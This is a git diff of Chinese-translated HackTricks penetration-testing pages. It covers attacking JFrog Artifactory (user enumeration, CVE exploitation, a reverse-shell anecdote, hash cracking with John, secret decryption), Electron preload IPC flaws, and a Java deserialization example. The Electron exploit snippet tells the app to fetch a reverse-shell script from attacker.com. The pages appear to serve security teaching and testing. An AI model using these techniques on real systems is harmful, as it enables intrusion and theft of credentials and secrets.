一旦你获得了其他账户的密码或令牌,这可以推广到其他账户。
|
||||
|
||||
## 列出用户 <a href="#listing-users" id="listing-users"></a>
|
||||
|
||||
出于某种原因,列出用户是只有管理员才有的权限。我找到了一种替代方法来列出用户(至少是那些活跃部署的用户),这依赖于工件的“部署者”值:
|
||||
|
||||
![部署者](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
|
||||
|
||||
[这个脚本](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a)简单地尝试递归查找所有部署了工件的用户。注意,如果仓库很多(>1000),完成这个操作可能需要一段时间。
|
||||
```
|
||||
./artifactory_list_users.py http://127.0.0.1:8081/artifactory
|
||||
There are 23 repositories to process
|
||||
Found user admin
|
||||
Found user test
|
||||
Found user user
|
||||
Found user test_deploy
|
||||
```
|
||||
## 权限 <a href="#permissions" id="permissions"></a>
|
||||
|
||||
以下是基本权限及其用途:
|
||||
|
||||
* 管理:?
|
||||
* 删除/覆盖:对渗透测试有趣
|
||||
* 部署/缓存:对渗透测试有趣
|
||||
* 注释:对于CVE-2020-7931必需
|
||||
* 读取:通常是默认权限
|
||||
|
||||
# 已知漏洞 <a href="#known-vulnerabilities" id="known-vulnerabilities"></a>
|
||||
|
||||
以下是一份经过策划的高影响力公共漏洞列表:
|
||||
|
||||
## CVE-2016-10036:任意文件上传和RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
|
||||
|
||||
[详情在这里。](https://www.exploit-db.com/exploits/44543)
|
||||
|
||||
这个漏洞有点旧,你不太可能遇到这么过时的Artifactory版本。尽管如此,它非常有效,因为它是一个简单的目录遍历,可以在Tomcat级别执行任意代码。
|
||||
|
||||
## CVE-2019-9733:身份验证绕过 (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
|
||||
|
||||
[原始通告在这里。](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
|
||||
|
||||
在旧版本的Artifactory(直到6.7.3),`access-admin`账户使用默认密码`password`。
|
||||
|
||||
这个本地账户通常被禁止访问UI或API,但在6.8.6版本之前,如果将`X-Forwarded-For` HTTP头设置为`127.0.0.1`,可以欺骗Artifactory认为请求是本地发起的。
|
||||
|
||||
## CVE-2020-7931:服务器端模板注入(Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
|
||||
|
||||
[原始通告在这里。](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
|
||||
|
||||
这是我编写的[工具](https://github.com/gquere/CVE-2020-7931),用于自动化利用这个漏洞。
|
||||
|
||||
这些是利用所需的:
|
||||
|
||||
* 拥有部署(创建文件)和注释(设置过滤)权限的用户
|
||||
* Artifactory Pro
|
||||
|
||||
漏洞相当简单:如果部署的资源被设置为过滤,它会被解释为Freemarker模板,这为攻击者提供了SSTI攻击窗口。 ![过滤资源](https://www.errno.fr/artifactory/artif\_filtered.png)
|
||||
|
||||
以下是实现的原语:
|
||||
|
||||
* 基本文件系统读取
|
||||
* 有限的文件系统写入
|
||||
|
||||
这些应该足以以多种方式实现远程代码执行,从最简单/最安静到最困难/最吵闹的:
|
||||
|
||||
* 读取文件系统上的秘密,让你转移(/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …)
|
||||
* 向用户添加SSH密钥
|
||||
* 部署.war以执行servlet
|
||||
* 部署Artifactory Groovy用户脚本
|
||||
|
||||
### .war故事:Java renameTo() 把戏 <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
|
||||
|
||||
这是一个关于我在渗透测试期间头疼了几个小时甚至几天的小故事。我遇到了一个过时的Artifactory,我知道它对CVE-2020-7931漏洞敏感。我部署了原始通告的SSTI模板,并开始浏览文件系统。看起来Artifactory安装在一个非标准位置,这并不太常见,因为管理员喜欢将应用程序二进制文件、数据、日志和配置保持在分开的分区中(这是好事!)。用户主目录中没有SSH密钥或密码,这本来可以为我提供一个简单的转移,所以到了不那么谨慎并写入文件系统的时候。在Artifactory的上传目录中放置初始有效载荷(一个公钥)进行得很顺利,但我就是无法将其移动到SSH密钥目录。所以我回到我的利用沙箱,再次测试,果然,它工作得很好。所以一定有不同的配置阻止了我完成`renameTo()`方法。这时候,最好是[查看文档](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-)……它明确指出你不能在不同的文件系统中重命名文件,这取决于方法的实现,即如果它在inode级别工作,这是有道理的。哎。
|
||||
|
||||
还记得我说的管理员喜欢分区吗?嗯,这是一个管理员在不知情的情况下加强了他的设置以抵御我的利用!所以我不得不深入到本质上是Java监狱的东西中,找到另一种方法,让我能够将文件写入磁盘。这一点都不有趣,因为我对任何涉及的东西都不熟悉:FTL模板、Java、Tomcat/Catalina。我很快发现,常规的Java监狱逃逸根本行不通,因为实例化新类是被禁止的。经过几个小时的阅读Java和Catalina类文档,我终于在一个我可以到达的对象上找到了一个write()方法。但它限于web应用程序的基本路径……那么我想到了结合写入另一个文件系统和`renameTo()`跨这个新可达文件系统,希望能够写入任何地方?这有点工作。我设法写出了临时上传目录……但离它不远,因为现在我被困在另一个文件系统上,这是所有artifactory事物的挂载点:配置、应用程序等等。所以我还是没有SSH密钥。
|
||||
|
||||
好吧,我可以写入artifactory根文件夹,我肯定可以在这里做点什么吧?嘿,Tomcat默认会自动部署写入其应用程序路径的WAR文件,不是吗?所以我使用msfvenom生成了一个打包在WAR文件中的JSP webshell,并在我的沙箱中测试了它……它确实部署了,但没有给我任何命令执行。看来默认的Tomcat不处理JSP。唉。越来越沮丧,我寻找另一种在Tomcat中执行代码的方法,并找到了使用servlets的另一种执行方法。找不到合适的有效载荷,所以搞它,我已经全力以赴了,并且[在这里推出了我自己的,你可以找到](https://github.com/gquere/javaWebShell)。在沙箱中测试,工作正常,好的。放在目标上,部署并且……什么也没有。原来,有一个代理在artifactory前面,将所有URL重写为/artifactory。所以即使我的后门部署并运行了,我也无法访问它……如果此时有一些远程代码执行要实现,它将必须在Artifactory的上下文中,而不是Tomcat的。
|
||||
|
||||
第二天早上,我在办公桌前哭泣,最后一次徒劳地查看Artifactory的文档,希望有所启示。然后“Groovy脚本”这些神奇的词出现了。原来有一种复杂的方法可以执行Groovy脚本,通过将它们写入磁盘然后通过API重新加载它们。最后得救了!所以我弹出了一个Groovy反向shell到机器,就是这样了。仍然希望我能找到一种更干净的方法,可以使用SSTI在文件系统上的任何地方写入,但我肯定不会回去开发了!
|
||||
|
||||
幸运的是,并非所有的渗透测试都是这样进行的 :)
|
||||
|
||||
# 后渗透 <a href="#post-exploitation" id="post-exploitation"></a>
|
||||
|
||||
以下内容仅在您实现了服务器上的远程代码执行或任意文件读取后有用,并且可能帮助您转移到另一台机器。
|
||||
|
||||
## 存储密码和外部秘密 <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
|
||||
|
||||
### 本地密码 <a href="#local-passwords" id="local-passwords"></a>
|
||||
|
||||
本地artifactory密码以盐化MD5或bcrypt形式存储,前者已被弃用。
|
||||
|
||||
MD5密码总是使用硬编码的spring值`{CAFEBABEEBABEFAC}`进行盐化,并且使用简单的连接没有轮次,即`hash = md5(password + salt)`。数据库说盐是`CAFEBABEEBABEFAC`,但相信我,它是`{CAFEBABEEBABEFAC}`,我找了很久 :)
|
||||
|
||||
破解这些MD5密码需要使用JtR的动态模式:
|
||||
```
|
||||
cat artifactory.hashes
|
||||
user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC}
|
||||
john artifactory.hashes --format=dynamic_1
|
||||
Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3])
|
||||
password (user)
|
||||
```
|
||||
另一种bcrypt密码不需要任何特殊处理,它只是一个标准的bcrypt散列:
|
||||
```
|
||||
cat artifactory_bcrypt.hashes
|
||||
admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW
|
||||
john artifactory_bcrypt.hashes
|
||||
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
|
||||
password (admin)
|
||||
```
|
||||
### 远程秘密 <a href="#remote-secrets" id="remote-secrets"></a>
|
||||
|
||||
Artifactory 可能需要存储秘密以识别远程服务。这些秘密当然不是哈希的,它们被加密存储在磁盘上,密钥就在它们旁边。在[官方文档](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/)中提到了两种类型的秘密。
|
||||
|
||||
**旧格式 (<5.9): DES-EDE**
|
||||
|
||||
待办事项。[如果您有样本加密数据,请开一个问题](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
|
||||
**新格式 (>=5.9): AES128-CBC 加密,存储为 base58**
|
||||
|
||||
外部秘密(例如远程服务器的密码)可以在[配置描述符](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor)中找到,例如 `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml`,看起来像:
|
||||
```
|
||||
<keyStorePassword>AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE</keyStorePassword>
|
||||
```
|
||||
```markdown
|
||||
在哪里:
|
||||
|
||||
* `AM` 总是表示一个加密的秘密
|
||||
* `25rLQ` 是必须与密钥的标识符匹配的秘密标识符
|
||||
* `AES128` 显然是使用的算法
|
||||
* `vJMeK...KRE` 是 `IV_SIZE|IV|secret|CRC` 的 base58 编码
|
||||
|
||||
通过使用以下正则表达式可以找到更多秘密(令牌,配置备份等):
|
||||
```
|
||||
```
|
||||
grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/
|
||||
```
|
||||
密钥存储在 `/var/opt/jfrog/artifactory/etc/security/artifactory.key` 中,其内容如下:
|
||||
```
|
||||
JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu
|
||||
```
|
||||
```
|
||||
其中:
|
||||
|
||||
* `JS` 表示一个密钥
|
||||
* `25rLQ` 是一个独特的密钥标识符,用于跟踪哪个密钥可以解密哪些秘密
|
||||
* `AES128` 显然是使用的算法
|
||||
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` 是密钥的 base58 编码和 2 字节的 CRC
|
||||
|
||||
我编写的这个工具可以离线使用,用于解密 Artifactory 秘密:[ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
|
||||
# 防御 Artifactory <a href="#defending-artifactory" id="defending-artifactory"></a>
|
||||
|
||||
如果你是蓝队或 Artifactory 管理员,到目前为止,你应该对接下来的操作有一个非常好的认识:
|
||||
|
||||
* 保持 Artifactory 更新,特别是当发布关键更新时
|
||||
* 实施合理的密码策略(无默认密码,强制使用强密码,锁定账户),最好委托给外部 LDAP 进行更好的监管
|
||||
* 限制访问(遵循最小权限原则),特别是对匿名用户的访问
|
||||
|
||||
**查看此帖子:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF** 版本,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击技巧</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
如果预加载脚本从`main.js`文件暴露了一个IPC端点,渲染进程将能够访问它,如果存在漏洞,可能会实现远程代码执行(RCE)。
|
||||
如果预加载脚本从`main.js`文件暴露了IPC端点,则渲染器进程将能够访问它,如果存在漏洞,则可能发生RCE。
|
||||
|
||||
**所有这些示例都取自这里** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
||||
**所有这些示例都来自于这里** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)。查看视频以获取更多信息。
|
||||
|
||||
# 示例 1
|
||||
|
||||
检查`main.js`如何监听`getUpdate`并将**下载并执行任何传递的URL**。\
|
||||
还要检查`preload.js`如何**暴露main中的任何IPC**事件。
|
||||
检查`main.js`如何监听`getUpdate`,并将**下载并执行**传递的任何URL。\
|
||||
还要检查`preload.js`如何**暴露主要的任何IPC**事件。
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
ipcMain.on('getUpdate', (event, url) => {
|
||||
|
@ -70,24 +70,24 @@ window.electronSend = (event, data) => {
|
|||
ipcRenderer.send(event, data);
|
||||
};
|
||||
```
|
||||
漏洞利用:
|
||||
利用:
|
||||
```html
|
||||
<script>
|
||||
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||||
</script>
|
||||
```
|
||||
# 示例 2
|
||||
# 例子 2
|
||||
|
||||
如果预加载脚本直接向渲染器暴露了调用 shell.openExternal 的方式,那么可能会获得 RCE。
|
||||
如果预加载脚本直接向渲染器公开了调用 shell.openExternal 的方法,就有可能获得远程代码执行。
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
shell.openExternal(url);
|
||||
};
|
||||
```
|
||||
# 示例 3
|
||||
# 例子 3
|
||||
|
||||
如果预加载脚本暴露了与主进程完全通信的方法,XSS将能够发送任何事件。这种影响取决于主进程在IPC方面暴露了哪些内容。
|
||||
如果 preload 脚本暴露了与主进程完全通信的方式,XSS 将能够发送任何事件。这取决于主进程在 IPC 方面暴露了什么。
|
||||
```javascript
|
||||
window.electronListen = (event, cb) => {
|
||||
ipcRenderer.on(event, cb);
|
||||
|
@ -99,14 +99,14 @@ ipcRenderer.send(event, data);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
在本文中,将使用java.io.Serializable来解释一个示例。
|
||||
在这篇文章中,将通过使用`java.io.Serializable`来解释一个示例。
|
||||
|
||||
# Serializable
|
||||
|
||||
Java `Serializable`接口(`java.io.Serializable`)是一个标记接口,如果要对类进行**序列化**和**反序列化**,则必须实现该接口。Java对象的序列化(写入)使用[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html),而反序列化(读取)使用[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)。
|
||||
Java `Serializable`接口(`java.io.Serializable`是一个标记接口,如果要对类进行**序列化**和**反序列化**,则必须实现该接口。Java对象序列化(写入)使用[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html),反序列化(读取)使用[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)。
|
||||
|
||||
让我们看一个**可序列化**的**Person类**的示例。这个类**重写了readObject函数**,所以当**该类的任何对象**被**反序列化**时,这个**函数**将被**执行**。\
|
||||
在这个示例中,Person类的readObject函数调用了宠物的`eat()`函数,而一个Dog的`eat()`函数(出于某种原因)调用了**calc.exe**。**我们将看到如何将Person对象序列化和反序列化以执行这个计算器:**
|
||||
让我们看一个**可序列化**的**Person类**的示例。该类**重写了readObject**函数,因此当**该类**的**任何对象**进行**反序列化**时,将执行此**函数**。\
|
||||
在示例中,Person类的**readObject函数**调用其宠物的`eat()`函数,而Dog的`eat()`函数(出于某种原因)调用**calc.exe**。**我们将看到如何将Person对象序列化和反序列化以执行此计算器:**
|
||||
|
||||
**以下示例来自[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
import java.io.*;
|
||||
|
@ -93,25 +93,6 @@ payloadTest("test.ser");
|
|||
}
|
||||
}
|
||||
```
|
||||
这个例子是从[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)中获取的。
|
||||
|
||||
## 结论
|
||||
|
||||
正如你在这个非常基本的例子中所看到的,这里的“漏洞”是因为**readObject**函数**调用了其他存在漏洞的函数**。
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
正如您在这个非常基本的示例中所看到的,这里的“漏洞”出现是因为**readObject**函数正在**调用其他易受攻击的函数**。
|
||||
|
|
|
@ -1,255 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**本文内容摘自** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
# 介绍
|
||||
|
||||
ASP.NET Web应用程序使用ViewState来维护页面状态并在Web表单中持久化数据。
|
||||
|
||||
